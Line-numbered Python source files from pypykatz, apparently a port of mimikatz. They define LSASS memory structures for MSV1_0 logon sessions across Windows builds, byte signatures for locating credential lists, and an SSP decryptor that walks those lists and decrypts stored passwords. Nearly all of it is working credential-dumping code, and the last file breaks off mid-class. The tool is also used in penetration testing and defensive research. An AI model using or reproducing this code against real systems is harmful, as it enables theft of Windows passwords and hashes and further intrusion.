456 | res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) | |
457 | res.unk19 = await ULONG.loadvalue(reader) | |
458 | await reader.align() | |
459 | res.unk20 = await PVOID.loadvalue(reader) | |
460 | res.unk21 = await PVOID.loadvalue(reader) | |
461 | res.unk22 = await PVOID.loadvalue(reader) | |
462 | res.unk23 = await ULONG.loadvalue(reader) | |
463 | await reader.align() | |
464 | res.CredentialManager = await PVOID.load(reader) | |
465 | return res | |
466 | ||
467 | class PKIWI_MSV1_0_LIST_52(POINTER): | |
468 | def __init__(self): | |
469 | super().__init__() | |
470 | ||
471 | @staticmethod | |
472 | async def load(reader): | |
473 | p = PKIWI_MSV1_0_LIST_52() | |
474 | p.location = reader.tell() | |
475 | p.value = await reader.read_uint() | |
476 | p.finaltype = KIWI_MSV1_0_LIST_52 | |
477 | return p | |
478 | ||
479 | class KIWI_MSV1_0_LIST_52: | |
480 | def __init__(self): | |
481 | self.Flink = None | |
482 | self.Blink = None | |
483 | self.LocallyUniqueIdentifier = None | |
484 | self.UserName = None | |
485 | self.Domaine = None | |
486 | self.unk0 = None | |
487 | self.unk1 = None | |
488 | self.pSid = None | |
489 | self.LogonType = None | |
490 | self.Session = None | |
491 | self.LogonTime = None | |
492 | self.LogonServer = None | |
493 | self.Credentials_list_ptr = None | |
494 | self.unk19 = None | |
495 | self.unk20 = None | |
496 | self.unk21 = None | |
497 | self.unk22 = None | |
498 | self.CredentialManager = None | |
499 | ||
500 | @staticmethod | |
501 | async def load(reader): | |
502 | res = KIWI_MSV1_0_LIST_52() | |
503 | res.Flink = await PKIWI_MSV1_0_LIST_52.load(reader) | |
504 | res.Blink = await PKIWI_MSV1_0_LIST_52.load(reader) | |
505 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
506 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
507 | res.Domaine = await LSA_UNICODE_STRING.load(reader) | |
508 | res.unk0 = await PVOID.loadvalue(reader) | |
509 | res.unk1 = await PVOID.loadvalue(reader) | |
510 | res.pSid = await PSID.load(reader) | |
511 | res.LogonType = await ULONG.loadvalue(reader) | |
512 | res.Session = await ULONG.loadvalue(reader) | |
513 | await reader.align(8) | |
514 | t = await reader.read(8) | |
515 | res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 | |
516 | res.LogonServer = await LSA_UNICODE_STRING.load(reader) | |
517 | res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) | |
518 | res.unk19 = await ULONG.loadvalue(reader) | |
519 | await reader.align() | |
520 | res.unk20 = await PVOID.loadvalue(reader) | |
521 | res.unk21 = await PVOID.loadvalue(reader) | |
522 | res.unk22 = await ULONG.loadvalue(reader) | |
523 | await reader.align() | |
524 | res.CredentialManager = await PVOID.load(reader) | |
525 | return res | |
526 | ||
527 | class PKIWI_MSV1_0_LIST_60(POINTER): | |
528 | def __init__(self): | |
529 | super().__init__() | |
530 | ||
531 | @staticmethod | |
532 | async def load(reader): | |
533 | p = PKIWI_MSV1_0_LIST_60() | |
534 | p.location = reader.tell() | |
535 | p.value = await reader.read_uint() | |
536 | p.finaltype = KIWI_MSV1_0_LIST_60 | |
537 | return p | |
538 | ||
539 | class KIWI_MSV1_0_LIST_60: | |
540 | def __init__(self): | |
541 | self.Flink = None | |
542 | self.Blink = None | |
543 | self.unk0 = None | |
544 | self.unk1 = None | |
545 | self.unk2 = None | |
546 | self.unk3 = None | |
547 | self.unk4 = None | |
548 | self.unk5 = None | |
549 | self.hSemaphore6 = None | |
550 | self.unk7 = None | |
551 | self.hSemaphore8 = None | |
552 | self.unk9 = None | |
553 | self.unk10 = None | |
554 | self.unk11 = None | |
555 | self.unk12 = None | |
556 | self.unk13 = None | |
557 | self.LocallyUniqueIdentifier = None | |
558 | self.SecondaryLocallyUniqueIdentifier = None | |
559 | self.UserName = None | |
560 | self.Domaine = None | |
561 | self.unk14 = None | |
562 | self.unk15 = None | |
563 | self.pSid = None | |
564 | self.LogonType = None | |
565 | self.Session = None | |
566 | self.LogonTime = None | |
567 | self.LogonServer = None | |
568 | self.Credentials_list_ptr = None | |
569 | self.unk19 = None | |
570 | self.unk20 = None | |
571 | self.unk21 = None | |
572 | self.unk22 = None | |
573 | self.unk23 = None | |
574 | self.CredentialManager = None | |
575 | ||
576 | @staticmethod | |
577 | async def load(reader): | |
578 | res = KIWI_MSV1_0_LIST_60() | |
579 | res.Flink = await PKIWI_MSV1_0_LIST_60.load(reader) | |
580 | res.Blink = await PKIWI_MSV1_0_LIST_60.load(reader) | |
581 | await reader.align() | |
582 | res.unk0 = await PVOID.loadvalue(reader) | |
583 | res.unk1 = await ULONG.loadvalue(reader) | |
584 | await reader.align() | |
585 | res.unk2 = await PVOID.loadvalue(reader) | |
586 | res.unk3 = await ULONG.loadvalue(reader) | |
587 | res.unk4 = await ULONG.loadvalue(reader) | |
588 | res.unk5 = await ULONG.loadvalue(reader) | |
589 | await reader.align() | |
590 | res.hSemaphore6 = await HANDLE.loadvalue(reader) | |
591 | await reader.align() | |
592 | res.unk7 = await PVOID.loadvalue(reader) | |
593 | await reader.align() | |
594 | res.hSemaphore8 = await HANDLE.loadvalue(reader) | |
595 | await reader.align() | |
596 | res.unk9 = await PVOID.loadvalue(reader) | |
597 | await reader.align() | |
598 | res.unk10 = await PVOID.loadvalue(reader) | |
599 | res.unk11 = await ULONG.loadvalue(reader) | |
600 | res.unk12 = await ULONG.loadvalue(reader) | |
601 | await reader.align() | |
602 | res.unk13 = await PVOID.loadvalue(reader) | |
603 | await reader.align() | |
604 | t = await reader.read(8) | |
605 | res.LocallyUniqueIdentifier = int.from_bytes(t, byteorder = 'little', signed = False) | |
606 | t = await reader.read(8) | |
607 | res.SecondaryLocallyUniqueIdentifier = int.from_bytes(t, byteorder = 'little', signed = False) | |
608 | await reader.align() | |
609 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
610 | res.Domaine = await LSA_UNICODE_STRING.load(reader) | |
611 | res.unk14 = await PVOID.loadvalue(reader) | |
612 | res.unk15 = await PVOID.loadvalue(reader) | |
613 | res.pSid = await PSID.load(reader) | |
614 | res.LogonType = await ULONG.loadvalue(reader) | |
615 | res.Session = await ULONG.loadvalue(reader) | |
616 | await reader.align(8) | |
617 | t = await reader.read(8) | |
618 | res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 | |
619 | res.LogonServer = await LSA_UNICODE_STRING.load(reader) | |
620 | res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) | |
621 | res.unk19 = await ULONG.loadvalue(reader) | |
622 | await reader.align() | |
623 | res.unk20 = await PVOID.loadvalue(reader) | |
624 | res.unk21 = await PVOID.loadvalue(reader) | |
625 | res.unk22 = await PVOID.loadvalue(reader) | |
626 | res.unk23 = await ULONG.loadvalue(reader) | |
627 | await reader.align() | |
628 | res.CredentialManager = await PVOID.load(reader) | |
629 | return res | |
630 | ||
631 | class PKIWI_MSV1_0_LIST_61(POINTER): | |
632 | def __init__(self): | |
633 | super().__init__() | |
634 | ||
635 | @staticmethod | |
636 | async def load(reader): | |
637 | p = PKIWI_MSV1_0_LIST_61() | |
638 | p.location = reader.tell() | |
639 | p.value = await reader.read_uint() | |
640 | p.finaltype = KIWI_MSV1_0_LIST_61 | |
641 | return p | |
642 | ||
643 | class KIWI_MSV1_0_LIST_61: | |
644 | def __init__(self): | |
645 | self.Flink = None | |
646 | self.Blink = None | |
647 | self.unk0 = None | |
648 | self.unk1 = None | |
649 | self.unk2 = None | |
650 | self.unk3 = None | |
651 | self.unk4 = None | |
652 | self.unk5 = None | |
653 | self.hSemaphore6 = None | |
654 | self.unk7 = None | |
655 | self.hSemaphore8 = None | |
656 | self.unk9 = None | |
657 | self.unk10 = None | |
658 | self.unk11 = None | |
659 | self.unk12 = None | |
660 | self.unk13 = None | |
661 | self.LocallyUniqueIdentifier = None | |
662 | self.SecondaryLocallyUniqueIdentifier = None | |
663 | self.UserName = None | |
664 | self.Domaine = None | |
665 | self.unk14 = None | |
666 | self.unk15 = None | |
667 | self.pSid = None | |
668 | self.LogonType = None | |
669 | self.Session = None | |
670 | self.LogonTime = None | |
671 | self.LogonServer = None | |
672 | self.Credentials_list_ptr = None | |
673 | self.unk19 = None | |
674 | self.unk20 = None | |
675 | self.unk21 = None | |
676 | self.unk22 = None | |
677 | self.CredentialManager = None | |
678 | ||
679 | ||
680 | @staticmethod | |
681 | async def load(reader): | |
682 | res = KIWI_MSV1_0_LIST_61() | |
683 | res.Flink = await PKIWI_MSV1_0_LIST_61.load(reader) | |
684 | res.Blink = await PKIWI_MSV1_0_LIST_61.load(reader) | |
685 | res.unk0 = await PVOID.loadvalue(reader) | |
686 | res.unk1 = await ULONG.loadvalue(reader) | |
687 | await reader.align() | |
688 | res.unk2 = await PVOID.loadvalue(reader) | |
689 | res.unk3 = await ULONG.loadvalue(reader) | |
690 | res.unk4 = await ULONG.loadvalue(reader) | |
691 | res.unk5 = await ULONG.loadvalue(reader) | |
692 | await reader.align() | |
693 | res.hSemaphore6 = await HANDLE.loadvalue(reader) | |
694 | res.unk7 = await PVOID.loadvalue(reader) | |
695 | res.hSemaphore8 = await HANDLE.loadvalue(reader) | |
696 | res.unk9 = await PVOID.loadvalue(reader) | |
697 | res.unk10 = await PVOID.loadvalue(reader) | |
698 | res.unk11 = await ULONG.loadvalue(reader) | |
699 | res.unk12 = await ULONG.loadvalue(reader) | |
700 | res.unk13 = await PVOID.loadvalue(reader) | |
701 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
702 | res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
703 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
704 | res.Domaine = await LSA_UNICODE_STRING.load(reader) | |
705 | res.unk14 = await PVOID.loadvalue(reader) | |
706 | res.unk15 = await PVOID.loadvalue(reader) | |
707 | res.pSid = await PSID.load(reader) | |
708 | res.LogonType = await ULONG.loadvalue(reader) | |
709 | res.Session = await ULONG.loadvalue(reader) | |
710 | await reader.align(8) | |
711 | t = await reader.read(8) | |
712 | res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 | |
713 | res.LogonServer = await LSA_UNICODE_STRING.load(reader) | |
714 | res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) | |
715 | res.unk19 = await PVOID.loadvalue(reader) | |
716 | res.unk20 = await PVOID.loadvalue(reader) | |
717 | res.unk21 = await PVOID.loadvalue(reader) | |
718 | res.unk22 = await ULONG.loadvalue(reader) | |
719 | await reader.align() | |
720 | res.CredentialManager = await PVOID.load(reader) | |
721 | return res | |
722 | ||
723 | class PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ(POINTER): | |
724 | def __init__(self): | |
725 | super().__init__() | |
726 | ||
727 | @staticmethod | |
728 | async def load(reader): | |
729 | p = PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ() | |
730 | p.location = reader.tell() | |
731 | p.value = await reader.read_uint() | |
732 | p.finaltype = KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ | |
733 | return p | |
734 | ||
735 | class KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ: | |
736 | def __init__(self): | |
737 | self.Flink = None | |
738 | self.Blink = None | |
739 | self.unk0 = None | |
740 | self.unk1 = None | |
741 | self.unk2 = None | |
742 | self.unk3 = None | |
743 | self.unk4 = None | |
744 | self.unk5 = None | |
745 | self.hSemaphore6 = None | |
746 | self.unk7 = None | |
747 | self.hSemaphore8 = None | |
748 | self.unk9 = None | |
749 | self.unk10 = None | |
750 | self.unk11 = None | |
751 | self.unk12 = None | |
752 | self.unk13 = None | |
753 | self.LocallyUniqueIdentifier = None | |
754 | self.SecondaryLocallyUniqueIdentifier = None | |
755 | self.waza = None | |
756 | self.UserName = None | |
757 | self.Domaine = None | |
758 | self.unk14 = None | |
759 | self.unk15 = None | |
760 | self.pSid = None | |
761 | self.LogonType = None | |
762 | self.Session = None | |
763 | self.LogonTime = None | |
764 | self.LogonServer = None | |
765 | self.Credentials_list_ptr = None | |
766 | self.unk19 = None | |
767 | self.unk20 = None | |
768 | self.unk21 = None | |
769 | self.unk22 = None | |
770 | self.CredentialManager = None | |
771 | ||
772 | @staticmethod | |
773 | async def load(reader): | |
774 | res = KIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ() | |
775 | res.Flink = await PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ.load(reader) | |
776 | res.Blink = await PKIWI_MSV1_0_LIST_61_ANTI_MIMIKATZ.load(reader) | |
777 | res.unk0 = await PVOID.loadvalue(reader) | |
778 | res.unk1 = await ULONG.loadvalue(reader) | |
779 | await reader.align() | |
780 | res.unk2 = await PVOID.loadvalue(reader) | |
781 | res.unk3 = await ULONG.loadvalue(reader) | |
782 | res.unk4 = await ULONG.loadvalue(reader) | |
783 | res.unk5 = await ULONG.loadvalue(reader) | |
784 | await reader.align() | |
785 | res.hSemaphore6 = await HANDLE.loadvalue(reader) | |
786 | res.unk7 = await PVOID.loadvalue(reader) | |
787 | res.hSemaphore8 = await HANDLE.loadvalue(reader) | |
788 | res.unk9 = await PVOID.loadvalue(reader) | |
789 | res.unk10 = await PVOID.loadvalue(reader) | |
790 | res.unk11 = await ULONG.loadvalue(reader) | |
791 | res.unk12 = await ULONG.loadvalue(reader) | |
792 | res.unk13 = await PVOID.loadvalue(reader) | |
793 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
794 | res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
795 | res.waza = await reader.read(12) | |
796 | await reader.align() | |
797 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
798 | res.Domaine = await LSA_UNICODE_STRING.load(reader) | |
799 | res.unk14 = await PVOID.loadvalue(reader) | |
800 | res.unk15 = await PVOID.loadvalue(reader) | |
801 | res.pSid = await PSID.load(reader) | |
802 | res.LogonType = await ULONG.loadvalue(reader) | |
803 | res.Session = await ULONG.loadvalue(reader) | |
804 | await reader.align(8) | |
805 | t = await reader.read(8) | |
806 | res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 | |
807 | res.LogonServer = await LSA_UNICODE_STRING.load(reader) | |
808 | res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) | |
809 | res.unk19 = await PVOID.loadvalue(reader) | |
810 | res.unk20 = await PVOID.loadvalue(reader) | |
811 | res.unk21 = await PVOID.loadvalue(reader) | |
812 | res.unk22 = await ULONG.loadvalue(reader) | |
813 | await reader.align() | |
814 | res.CredentialManager = await PVOID.load(reader) | |
815 | return res | |
816 | ||
817 | class PKIWI_MSV1_0_LIST_62(POINTER): | |
818 | def __init__(self): | |
819 | super().__init__() | |
820 | ||
821 | @staticmethod | |
822 | async def load(reader): | |
823 | p = PKIWI_MSV1_0_LIST_62() | |
824 | p.location = reader.tell() | |
825 | p.value = await reader.read_uint() | |
826 | p.finaltype = KIWI_MSV1_0_LIST_62 | |
827 | return p | |
828 | ||
829 | class KIWI_MSV1_0_LIST_62: | |
830 | def __init__(self): | |
831 | self.Flink = None | |
832 | self.Blink = None | |
833 | self.unk0 = None | |
834 | self.unk1 = None | |
835 | self.unk2 = None | |
836 | self.unk3 = None | |
837 | self.unk4 = None | |
838 | self.unk5 = None | |
839 | self.hSemaphore6 = None | |
840 | self.unk7 = None | |
841 | self.hSemaphore8 = None | |
842 | self.unk9 = None | |
843 | self.unk10 = None | |
844 | self.unk11 = None | |
845 | self.unk12 = None | |
846 | self.unk13 = None | |
847 | self.LocallyUniqueIdentifier = None | |
848 | self.SecondaryLocallyUniqueIdentifier = None | |
849 | self.UserName = None | |
850 | self.Domaine = None | |
851 | self.unk14 = None | |
852 | self.unk15 = None | |
853 | self.Type = None | |
854 | self.pSid = None | |
855 | self.LogonType = None | |
856 | self.unk18 = None | |
857 | self.Session = None | |
858 | self.LogonTime = None | |
859 | self.LogonServer = None | |
860 | self.Credentials_list_ptr = None | |
861 | self.unk19 = None | |
862 | self.unk20 = None | |
863 | self.unk21 = None | |
864 | self.unk22 = None | |
865 | self.unk23 = None | |
866 | self.unk24 = None | |
867 | self.unk25 = None | |
868 | self.unk26 = None | |
869 | self.unk27 = None | |
870 | self.unk28 = None | |
871 | self.unk29 = None | |
872 | self.CredentialManager = None | |
873 | ||
874 | @staticmethod | |
875 | async def load(reader): | |
876 | res = KIWI_MSV1_0_LIST_62() | |
877 | res.Flink = await PKIWI_MSV1_0_LIST_62.load(reader) | |
878 | res.Blink = await PKIWI_MSV1_0_LIST_62.load(reader) | |
879 | res.unk0 = await PVOID.loadvalue(reader) | |
880 | res.unk1 = await ULONG.loadvalue(reader) | |
881 | await reader.align() | |
882 | res.unk2 = await PVOID.loadvalue(reader) | |
883 | res.unk3 = await ULONG.loadvalue(reader) | |
884 | res.unk4 = await ULONG.loadvalue(reader) | |
885 | res.unk5 = await ULONG.loadvalue(reader) | |
886 | await reader.align() | |
887 | res.hSemaphore6 = await HANDLE.loadvalue(reader) | |
888 | res.unk7 = await PVOID.loadvalue(reader) | |
889 | res.hSemaphore8 = await HANDLE.loadvalue(reader) | |
890 | res.unk9 = await PVOID.loadvalue(reader) | |
891 | res.unk10 = await PVOID.loadvalue(reader) | |
892 | res.unk11 = await ULONG.loadvalue(reader) | |
893 | res.unk12 = await ULONG.loadvalue(reader) | |
894 | res.unk13 = await PVOID.loadvalue(reader) | |
895 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
896 | res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
897 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
898 | res.Domaine = await LSA_UNICODE_STRING.load(reader) | |
899 | res.unk14 = await PVOID.loadvalue(reader) | |
900 | res.unk15 = await PVOID.loadvalue(reader) | |
901 | res.Type = await LSA_UNICODE_STRING.load(reader) | |
902 | res.pSid = await PSID.load(reader) | |
903 | res.LogonType = await ULONG.loadvalue(reader) | |
904 | await reader.align() | |
905 | res.unk18 = await PVOID.loadvalue(reader) | |
906 | res.Session = await ULONG.loadvalue(reader) | |
907 | await reader.align() | |
908 | t = await reader.read(8) | |
909 | res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 | |
910 | res.LogonServer = await LSA_UNICODE_STRING.load(reader) | |
911 | res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) | |
912 | res.unk19 = await PVOID.loadvalue(reader) | |
913 | res.unk20 = await PVOID.loadvalue(reader) | |
914 | res.unk21 = await PVOID.loadvalue(reader) | |
915 | res.unk22 = await ULONG.loadvalue(reader) | |
916 | res.unk23 = await ULONG.loadvalue(reader) | |
917 | res.unk24 = await ULONG.loadvalue(reader) | |
918 | res.unk25 = await ULONG.loadvalue(reader) | |
919 | res.unk26 = await ULONG.loadvalue(reader) | |
920 | await reader.align() | |
921 | res.unk27 = await PVOID.loadvalue(reader) | |
922 | res.unk28 = await PVOID.loadvalue(reader) | |
923 | res.unk29 = await PVOID.loadvalue(reader) | |
924 | res.CredentialManager = await PVOID.load(reader) | |
925 | return res | |
926 | ||
927 | class PKIWI_MSV1_0_LIST_63(POINTER): | |
928 | def __init__(self): | |
929 | super().__init__() | |
930 | ||
931 | @staticmethod | |
932 | async def load(reader): | |
933 | p = PKIWI_MSV1_0_LIST_63() | |
934 | p.location = reader.tell() | |
935 | p.value = await reader.read_uint() | |
936 | p.finaltype = KIWI_MSV1_0_LIST_63 | |
937 | return p | |
938 | ||
939 | class KIWI_MSV1_0_LIST_63: | |
940 | def __init__(self): | |
941 | self.Flink = None | |
942 | self.Blink = None | |
943 | self.unk0 = None | |
944 | self.unk1 = None | |
945 | self.unk2 = None | |
946 | self.unk3 = None | |
947 | self.unk4 = None | |
948 | self.unk5 = None | |
949 | self.hSemaphore6 = None | |
950 | self.unk7 = None | |
951 | self.hSemaphore8 = None | |
952 | self.unk9 = None | |
953 | self.unk10 = None | |
954 | self.unk11 = None | |
955 | self.unk12 = None | |
956 | self.unk13 = None | |
957 | self.LocallyUniqueIdentifier = None | |
958 | self.SecondaryLocallyUniqueIdentifier = None | |
959 | self.waza = None | |
960 | self.UserName = None | |
961 | self.Domaine = None | |
962 | self.unk14 = None | |
963 | self.unk15 = None | |
964 | self.Type = None | |
965 | self.pSid = None | |
966 | self.LogonType = None | |
967 | self.unk18 = None | |
968 | self.Session = None | |
969 | self.LogonTime = None | |
970 | self.LogonServer = None | |
971 | self.Credentials_list_ptr = None | |
972 | self.unk19 = None | |
973 | self.unk20 = None | |
974 | self.unk21 = None | |
975 | self.unk22 = None | |
976 | self.unk23 = None | |
977 | self.unk24 = None | |
978 | self.unk25 = None | |
979 | self.unk26 = None | |
980 | self.unk27 = None | |
981 | self.unk28 = None | |
982 | self.unk29 = None | |
983 | self.CredentialManager = None | |
984 | ||
985 | @staticmethod | |
986 | async def load(reader): | |
987 | res = KIWI_MSV1_0_LIST_63() | |
988 | res.Flink = await PKIWI_MSV1_0_LIST_63.load(reader) | |
989 | res.Blink = await PKIWI_MSV1_0_LIST_63.load(reader) | |
990 | res.unk0 = await PVOID.loadvalue(reader) | |
991 | res.unk1 = await ULONG.loadvalue(reader) | |
992 | await reader.align() | |
993 | res.unk2 = await PVOID.loadvalue(reader) | |
994 | res.unk3 = await ULONG.loadvalue(reader) | |
995 | res.unk4 = await ULONG.loadvalue(reader) | |
996 | res.unk5 = await ULONG.loadvalue(reader) | |
997 | await reader.align() | |
998 | res.hSemaphore6 = await HANDLE.loadvalue(reader) | |
999 | res.unk7 = await PVOID.loadvalue(reader) | |
1000 | res.hSemaphore8 = await HANDLE.loadvalue(reader) | |
1001 | res.unk9 = await PVOID.loadvalue(reader) | |
1002 | res.unk10 = await PVOID.loadvalue(reader) | |
1003 | res.unk11 = await ULONG.loadvalue(reader) | |
1004 | res.unk12 = await ULONG.loadvalue(reader) | |
1005 | res.unk13 = await PVOID.loadvalue(reader) | |
1006 | await reader.align() | |
1007 | res.LocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
1008 | res.SecondaryLocallyUniqueIdentifier = await LUID.loadvalue(reader) | |
1009 | res.waza = await reader.read(12) | |
1010 | await reader.align() | |
1011 | res.UserName = await LSA_UNICODE_STRING.load(reader) | |
1012 | res.Domaine = await LSA_UNICODE_STRING.load(reader) | |
1013 | res.unk14 = await PVOID.loadvalue(reader) | |
1014 | res.unk15 = await PVOID.loadvalue(reader) | |
1015 | res.Type = await LSA_UNICODE_STRING.load(reader) | |
1016 | res.pSid = await PSID.load(reader) | |
1017 | res.LogonType = await ULONG.loadvalue(reader) | |
1018 | await reader.align() | |
1019 | res.unk18 = await PVOID.loadvalue(reader) | |
1020 | res.Session = await ULONG.loadvalue(reader) | |
1021 | await reader.align(8) | |
1022 | t = await reader.read(8) | |
1023 | res.LogonTime = int.from_bytes(t, byteorder = 'little', signed = False) #autoalign x86 | |
1024 | res.LogonServer = await LSA_UNICODE_STRING.load(reader) | |
1025 | res.Credentials_list_ptr = await PKIWI_MSV1_0_CREDENTIAL_LIST.load(reader) | |
1026 | res.unk19 = await PVOID.loadvalue(reader) | |
1027 | res.unk20 = await PVOID.loadvalue(reader) | |
1028 | res.unk21 = await PVOID.loadvalue(reader) | |
1029 | res.unk22 = await ULONG.loadvalue(reader) | |
1030 | res.unk23 = await ULONG.loadvalue(reader) | |
1031 | res.unk24 = await ULONG.loadvalue(reader) | |
1032 | res.unk25 = await ULONG.loadvalue(reader) | |
1033 | res.unk26 = await ULONG.loadvalue(reader) | |
1034 | await reader.align() | |
1035 | #input('CredentialManager\n' + hexdump(reader.peek(0x100))) | |
1036 | res.unk27 = await PVOID.loadvalue(reader) | |
1037 | res.unk28 = await PVOID.loadvalue(reader) | |
1038 | res.unk29 = await PVOID.loadvalue(reader) | |
1039 | res.CredentialManager = await PVOID.load(reader) | |
1040 | return res⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | ||
7 | import json | |
8 | from pypykatz.alsadecryptor.package_commons import PackageDecryptor | |
9 | ||
10 | class SspCredential: | |
11 | def __init__(self): | |
12 | self.credtype = 'ssp' | |
13 | self.username = None | |
14 | self.domainname = None | |
15 | self.password = None | |
16 | self.luid = None | |
17 | ||
18 | def to_dict(self): | |
19 | t = {} | |
20 | t['credtype'] = self.credtype | |
21 | t['username'] = self.username | |
22 | t['domainname'] = self.domainname | |
23 | t['password'] = self.password | |
24 | t['luid'] = self.luid | |
25 | return t | |
26 | ||
27 | def to_json(self): | |
28 | return json.dumps(self.to_dict()) | |
29 | ||
30 | def __str__(self): | |
31 | t = '\t== SSP [%x]==\n' % self.luid | |
32 | t += '\t\tusername %s\n' % self.username | |
33 | t += '\t\tdomainname %s\n' % self.domainname | |
34 | t += '\t\tpassword %s\n' % self.password | |
35 | return t | |
36 | ||
37 | class SspDecryptor(PackageDecryptor): | |
38 | def __init__(self, reader, decryptor_template, lsa_decryptor, sysinfo): | |
39 | super().__init__('Ssp', lsa_decryptor, sysinfo, reader) | |
40 | self.decryptor_template = decryptor_template | |
41 | self.credentials = [] | |
42 | ||
43 | async def find_first_entry(self): | |
44 | position = await self.find_signature('msv1_0.dll',self.decryptor_template.signature) | |
45 | ptr_entry_loc = await self.reader.get_ptr_with_offset(position + self.decryptor_template.first_entry_offset) | |
46 | ptr_entry = await self.reader.get_ptr(ptr_entry_loc) | |
47 | return ptr_entry, ptr_entry_loc | |
48 | ||
49 | async def add_entry(self, ssp_entry): | |
50 | c = SspCredential() | |
51 | c.luid = ssp_entry.LogonId | |
52 | c.username = await ssp_entry.credentials.Domaine.read_string(self.reader) | |
53 | c.domainname = await ssp_entry.credentials.UserName.read_string(self.reader) | |
54 | if ssp_entry.credentials.Password.Length != 0: | |
55 | if c.username.endswith('$') is True or c.domainname.endswith('$') is True: | |
56 | enc_data = await ssp_entry.credentials.Password.read_data(self.reader) | |
57 | c.password = self.decrypt_password(enc_data, bytes_expected=True) | |
58 | if c.password is not None: | |
59 | c.password = c.password.hex() | |
60 | else: | |
61 | enc_data = await ssp_entry.credentials.Password.read_data(self.reader) | |
62 | c.password = self.decrypt_password(enc_data) | |
63 | ||
64 | if c.username == '' and c.domainname == '' and c.password is None: | |
65 | return | |
66 | ||
67 | self.credentials.append(c) | |
68 | ||
69 | async def start(self): | |
70 | try: | |
71 | entry_ptr_value, entry_ptr_loc = await self.find_first_entry() | |
72 | except Exception as e: | |
73 | self.log('Failed to find structs! Reason: %s' % e) | |
74 | return | |
75 | await self.reader.move(entry_ptr_loc) | |
76 | entry_ptr = await self.decryptor_template.list_entry.load(self.reader) | |
77 | await self.walk_list(entry_ptr, self.add_entry)⏎ |
0 | #!/usr/bin/env python3 | |
1 | # | |
2 | # Author: | |
3 | # Tamas Jos (@skelsec) | |
4 | # | |
5 | ||
6 | ||
7 | from pypykatz.commons.common import KatzSystemArchitecture, WindowsMinBuild, WindowsBuild | |
8 | from pypykatz.alsadecryptor.win_datatypes import ULONG, LUID, KIWI_GENERIC_PRIMARY_CREDENTIAL, POINTER | |
9 | from pypykatz.alsadecryptor.package_commons import PackageTemplate | |
10 | ||
11 | class SspTemplate(PackageTemplate): | |
12 | def __init__(self): | |
13 | super().__init__('Ssp') | |
14 | self.signature = None | |
15 | self.first_entry_offset = None | |
16 | self.list_entry = None | |
17 | ||
18 | @staticmethod | |
19 | def get_template(sysinfo): | |
20 | template = SspTemplate() | |
21 | template.list_entry = PKIWI_SSP_CREDENTIAL_LIST_ENTRY | |
22 | template.log_template('list_entry', template.list_entry) | |
23 | ||
24 | if sysinfo.architecture == KatzSystemArchitecture.X64: | |
25 | if sysinfo.buildnumber < WindowsMinBuild.WIN_VISTA.value: | |
26 | template.signature = b'\xc7\x43\x24\x43\x72\x64\x41\xff\x15' | |
27 | template.first_entry_offset = 16 | |
28 | ||
29 | elif WindowsMinBuild.WIN_VISTA.value <= sysinfo.buildnumber < WindowsBuild.WIN_10_1507.value: | |
30 | template.signature = b'\xc7\x47\x24\x43\x72\x64\x41\x48\x89\x47\x78\xff\x15' | |
31 | template.first_entry_offset = 20 | |
32 | ||
33 | elif sysinfo.buildnumber >= WindowsBuild.WIN_10_1507.value: | |
34 | template.signature = b'\x24\x43\x72\x64\x41\xff\x15' | |
35 | template.first_entry_offset = 14 | |
36 | ||
37 | else: | |
38 | #currently this doesnt make sense, but keeping it here for future use | |
39 | raise Exception('Could not identify template! Architecture: %s sysinfo.buildnumber: %s' % (sysinfo.architecture, sysinfo.buildnumber)) | |
40 | ||
41 | ||
42 | elif sysinfo.architecture == KatzSystemArchitecture.X86: | |
43 | template.signature = b'\x1c\x43\x72\x64\x41\xff\x15' | |
44 | template.first_entry_offset = 12 | |
45 | ||
46 | else: | |
47 | raise Exception('Unknown architecture! %s' % sysinfo.architecture) | |
48 | ||
49 | ||
50 | return template | |
51 | ||
52 | ||
53 | class PKIWI_SSP_CREDENTIAL_LIST_ENTRY(POINTER): | |
54 | def __init__(self): | |
55 | super().__init__() | |
56 | ||
57 | @staticmethod | |
58 | async def load(reader): | |
59 | p = PKIWI_SSP_CREDENTIAL_LIST_ENTRY() | |
60 | p.location = reader.tell() | |
61 | p.value = await reader.read_uint() | |
62 | p.finaltype = KIWI_SSP_CREDENTIAL_LIST_ENTRY | |
63 | return p | |
64 | ||
65 | class KIWI_SSP_CREDENTIAL_LIST_ENTRY: | |
66 | def __init__(self): | |
67 | self.Flink = None | |
68 | self.Blink = None | |
69 | self.References = None | |
